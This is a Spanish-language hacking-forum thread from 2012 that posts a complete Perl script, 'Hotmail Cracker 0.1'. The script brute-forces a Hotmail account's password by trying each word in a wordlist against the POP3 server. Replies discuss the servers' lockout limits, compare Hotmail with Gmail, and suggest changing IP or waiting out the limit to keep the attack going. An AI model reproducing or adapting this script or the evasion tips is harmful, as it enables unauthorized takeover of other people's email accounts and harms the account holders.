elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Hotmail Cracker 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Hotmail Cracker 0.1  (Leído 7,975 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Hotmail Cracker 0.1
« en: 1 Febrero 2012, 19:24 pm »

Un simple script para crackear una cuenta Hotmail.

Código
  1. #Hotmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackhot($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackhot {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Hotmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ?
  74.  


En línea

laramjo

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #1 en: 17 Junio 2012, 18:19 pm »

Como utilizo el codigo...


En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #2 en: 17 Junio 2012, 19:39 pm »

no se si ya es un tema viejo pero el programa esta obsoleto debido a que en el intento 5 el programa deja de funcionar y no encuentra nada.

En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #3 en: 17 Junio 2012, 20:39 pm »

Justamente eso te iba a decir, hay un limite de intentos, asi que hacer fuerza bruta no sirve para nada.

Saludos ;D
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #4 en: 17 Junio 2012, 20:46 pm »

y si , pero por suerte Gmail no tiene ese problema (segun lo que eh probado hace 2 meses).
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #5 en: 17 Junio 2012, 21:35 pm »

NO JODAS! Yo uso gmail, me estas diciendo que cualquiera con un diccionario y un script como ese puede entrar en mi correo?
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #6 en: 17 Junio 2012, 22:45 pm »

ja , me equivoque , lo acabo de probar con Gmail y solo aguanta hasta el intento 20 xDD.

« Última modificación: 17 Junio 2012, 23:00 pm por Doddy » En línea

overxfl0w13

Desconectado Desconectado

Mensajes: 163



Ver Perfil WWW
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #7 en: 18 Junio 2012, 00:03 am »

No hay más que ver como se aplica el límite de fallos y según las prohibiciones aplicarle un par de parches. Si es por IP, cambio de IP etc.

La putada viene cuando los límites se aplican a cada gmail,ahí tocará esperar el tiempo necesario para continuar con el bruteforce, cosa que puede demorar muchísimo tiempo.
« Última modificación: 18 Junio 2012, 00:31 am por overxfl0w13 » En línea

[/url]
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #8 en: 18 Junio 2012, 15:33 pm »

Menos mal xD
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [Perl] Hotmail Cracker 0.1
« Respuesta #9 en: 18 Junio 2012, 16:20 pm »

Hay alguna forma de continuar con el crackeo despues que espere que pase el tiempo del nuevo intento  ? Sería bueno colocarlo a prueba.

Saludos.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como cRear un Cracker para Hotmail?(mito destruido) « 1 2 3 4 5 »
Programación Visual Basic
Tengu 41 14,232 Último mensaje 1 Septiembre 2007, 23:48 pm
por Robokop
[Perl] Pass Cracker By Doddy H
Scripting
BigBear 0 1,607 Último mensaje 8 Octubre 2011, 16:56 pm
por BigBear
[Perl] Gmail Cracker 0.1
Scripting
BigBear 0 2,191 Último mensaje 1 Febrero 2012, 19:25 pm
por BigBear
[Perl] Massive Cracker 0.4
Scripting
BigBear 0 1,828 Último mensaje 2 Junio 2012, 21:18 pm
por BigBear
[Perl Tk] Masive Cracker 0.4
Scripting
BigBear 0 1,738 Último mensaje 2 Junio 2012, 21:18 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines